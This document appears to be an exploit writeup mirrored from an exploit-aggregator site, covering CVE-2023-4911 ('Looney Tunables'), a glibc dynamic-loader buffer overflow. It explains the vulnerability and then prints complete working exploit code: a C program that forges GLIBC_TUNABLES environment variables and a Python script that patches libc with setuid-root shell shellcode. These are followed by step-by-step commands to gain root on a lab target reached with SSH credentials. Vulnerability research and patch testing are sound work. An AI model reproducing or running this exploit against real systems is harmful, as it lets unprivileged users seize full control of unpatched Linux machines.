Share
## https://sploitus.com/exploit?id=9B3DC886-C0AD-50C7-B734-6D361F411851
![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/db0cbfb1-9c22-416a-9174-053012a0d96c)

<br>

## The Vulnerability 

A buffer overflow was discovered in the GNU C Library's dynamic loader `ld.so`, this loader is responsible for providing the required shared libraries for any executable when it is run on linux. This vulnerability poses a significant risk since it allows escalating privileges of a logged on user and obtaining full control of the vulnerable machine. So any unprivileged user to escalate from any user into root. You need to update all of your systems.

<br>

```
We successfully exploited this vulnerability and obtained full root
privileges on the default installations of Fedora 37 and 38, Ubuntu
22.04 and 23.04, Debian 12 and 13; other distributions are probably also
vulnerable and exploitable (one notable exception is Alpine Linux, which
uses musl libc, not the glibc). We will not publish our exploit for now;
however, this buffer overflow is easily exploitable (by transforming it
into a data-only attack), and other researchers might publish working
exploits shortly after this coordinated disclosure.
```

<br>

> Reference: https://seclists.org/fulldisclosure/2023/Oct/11

<br>

## Prerequisites 

Link to the proof of concept
https://github.com/leesh3288/CVE-2023-4911

<br>

![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/de8f788d-19b5-4804-8f55-6c1b21814fa5)

<br>

The python script `gen_libc.py` will create a malicious dynamic loader in this case `ld.so`, once the loader is created you will need to compile the exploit code `exp.c` and execute on the vulnerable machine.

<br>

## Analysing the Exploit Code

Here the exploit creates different arrays as you can see, which will be used later to store the `GLIBC_TUNABLES` environment variable. This environment variable is searched and processed whenever you execute any binary on Linux and it is very similar to the loader `ld.so`. So we want to store it in environment variable and trigger the buffer overflow in the `GLIBC` when the program is executed. The `kv[BOF_SIZE]` is the payload the will trigger the buffer overflow, its filled with a long sequence of `A`. 

<br>

![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/cb6a5886-61a7-4293-812d-15a11966d8e6)

<br>

Another important part is the variable `filler`, this variable is created to pad away the loaders read-write section, it is filled with a long sequence of `F` characters. 

<br>

![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/067035fe-163e-403e-a313-65d5f5e4f8ea)

<br>

Then if we scroll down we can see another variable called `filler2`, its similar to `filler` and it is also used to pad away any extra portions, it's filled also with a sequence of `F` characters.

<br>

![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/0d2d19bc-f482-42d0-891f-74f12e5480c9)


<br>

The `dt_rpath` variable is used to craft a specific value to overwrite memory regions during the exploitation process.

<br>

![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/f0c13e8e-4343-4890-a0a7-ffaa0d8918d4)

<br>

## Exploit Code

**Filename:** `exp.c`

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>

#define FILL_SIZE 0xd00
#define BOF_SIZE 0x600

// copied from somewhere, probably https://stackoverflow.com/a/11765441
int64_t time_us()
{
    struct timespec tms;

    /* POSIX.1-2008 way */
    if (clock_gettime(CLOCK_REALTIME, &tms))
    {
        return -1;
    }
    /* seconds, multiplied with 1 million */
    int64_t micros = tms.tv_sec * 1000000;
    /* Add full microseconds */
    micros += tms.tv_nsec / 1000;
    /* round up if necessary */
    if (tms.tv_nsec % 1000 >= 500)
    {
        ++micros;
    }
    return micros;
}

int main(void)
{
    char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000];
    char *argv[] = {"/usr/bin/su", "--help", NULL};
    char *envp[0x1000] = {
        NULL,
    };

    // copy forged libc
    if (mkdir("\"", 0755) == 0)
    {
        int sfd, dfd, len;
        char buf[0x1000];
        dfd = open("\"/libc.so.6", O_CREAT | O_WRONLY, 0755);
        sfd = open("./libc.so.6", O_RDONLY);
        do
        {
            len = read(sfd, buf, sizeof(buf));
            write(dfd, buf, len);
        } while (len == sizeof(buf));
        close(sfd);
        close(dfd);
    } // else already exists, skip

    strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
    for (int i = strlen(filler); i < sizeof(filler) - 1; i++)
    {
        filler[i] = 'F';
    }
    filler[sizeof(filler) - 1] = '\0';

    strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
    for (int i = strlen(kv); i < sizeof(kv) - 1; i++)
    {
        kv[i] = 'A';
    }
    kv[sizeof(kv) - 1] = '\0';

    strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
    for (int i = strlen(filler2); i < sizeof(filler2) - 1; i++)
    {
        filler2[i] = 'F';
    }
    filler2[sizeof(filler2) - 1] = '\0';

    for (int i = 0; i < 0xfff; i++)
    {
        envp[i] = "";
    }

    for (int i = 0; i < sizeof(dt_rpath); i += 8)
    {
        *(uintptr_t *)(dt_rpath + i) = -0x14ULL;
    }
    dt_rpath[sizeof(dt_rpath) - 1] = '\0';

    envp[0] = filler;                               // pads away loader rw section
    envp[1] = kv;                                   // payload
    envp[0x65] = "";                                // struct link_map ofs marker
    envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f"; // l_info[DT_RPATH]
    envp[0xf7f] = filler2;                          // pads away :tunable2=AAA: in between
    for (int i = 0; i < 0x2f; i++)
    {
        envp[0xf80 + i] = dt_rpath;
    }
    envp[0xffe] = "AAAA"; // alignment, currently already aligned

    struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};
    if (setrlimit(RLIMIT_STACK, &rlim) < 0)
    {
        perror("setrlimit");
    }

    /*
    if (execve(argv[0], argv, envp) < 0) {
        perror("execve");
    }
    */

    int pid;
    for (int ct = 1;; ct++)
    {
        if (ct % 100 == 0)
        {
            printf("try %d\n", ct);
        }
        if ((pid = fork()) < 0)
        {
            perror("fork");
            break;
        }
        else if (pid == 0) // child
        {
            if (execve(argv[0], argv, envp) < 0)
            {
                perror("execve");
                break;
            }
        }
        else // parent
        {
            int wstatus;
            int64_t st, en;
            st = time_us();
            wait(&wstatus);
            en = time_us();
            if (!WIFSIGNALED(wstatus) && en - st > 1000000)
            {
                // probably returning from shell :)
                break;
            }
        }
    }

    return 0;
}
```

<br>

**Filename:** `gen_libc.py`

```python
#!/usr/bin/env python3

from pwn import *

context.os = "linux"
context.arch = "x86_64"

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
d = bytearray(open(libc.path, "rb").read())

sc = asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh())

orig = libc.read(libc.sym["__libc_start_main"], 0x10)
idx = d.find(orig)
d[idx : idx + len(sc)] = sc

open("./libc.so.6", "wb").write(d)
```

<br>

## Exploiting the vulnerability

**Assume Breach Scenario:**

```
Username: nopriv
Password: Password321
IP address: 10.10.48.251
```

<br>

**Connect to the target machine using SSH**

```
(myenv) โ”Œโ”€[parrot@parrot]โ”€[~]
โ””โ”€โ”€โ•ผ $ssh nopriv@10.10.48.251
The authenticity of host '10.10.48.251 (10.10.48.251)' can't be established.
ECDSA key fingerprint is SHA256:UAd8ulCB6/l8dOBLVhPgtrF4lGGPSO00nKVjcuFwXA8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
nopriv@looneytunes:~$ 
```

<br>

**Create the proof of concept files**

<br>

![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/dfdf5a84-72e6-4063-9102-12850cc0dbf5)

<br>

We will now need to generate the malicious loader, its important to note that the dynamic loader is not always `ld.so`. This vulnerability looks for binaries with SUID permission and executes the code with elevated privileges by generating malicious `GLIBC_TUNABLES` environment variables. 

<br>

**Find out what dynamic loader your machine is using**
-  In the example below, we found the loader being used for `/usr/bin/man`
-  The exploit code shows `/lib/x86_64-linux-gnu/libc.so.6` so we need to replace it
-  In order to keep things simple, we will go ahead and generate the loader with what's given. 

```
readelf /usr/bin/man -p .interp
```

<br>

![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/77e5163e-4179-4932-aa00-375d08123b7b)

<br>

**Generate the malicious dynamic loader**

```
python3 gen_libc.py
```

<br>

![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/bcb0eac3-5721-43b4-b2ab-e29ffd66ab92)


<br>

**Combine the exploit code**

```
gcc -o exploit exp.c
```

<br>

You will now see that we have the necessary files, the loader `libc.so.6`, the exploit code `exploit`.

<br>

![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/8d92e654-0e64-4af5-bbe9-f6a885dc73b0)


<br>

**Change the permissions on the file**

```
chmod +x *
```

<br>

**Execute the file**
-  This will take about 2 minutes to complete, so get a drink of water lol.
-  This should make us be the root user through heap buffer overflow.
-  The `try 100` is basically looking for a fixed address on the stack.

```
./exploit
```

<br>

![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/a242651e-29cb-411c-9583-01a0b7e56c92)

<hr>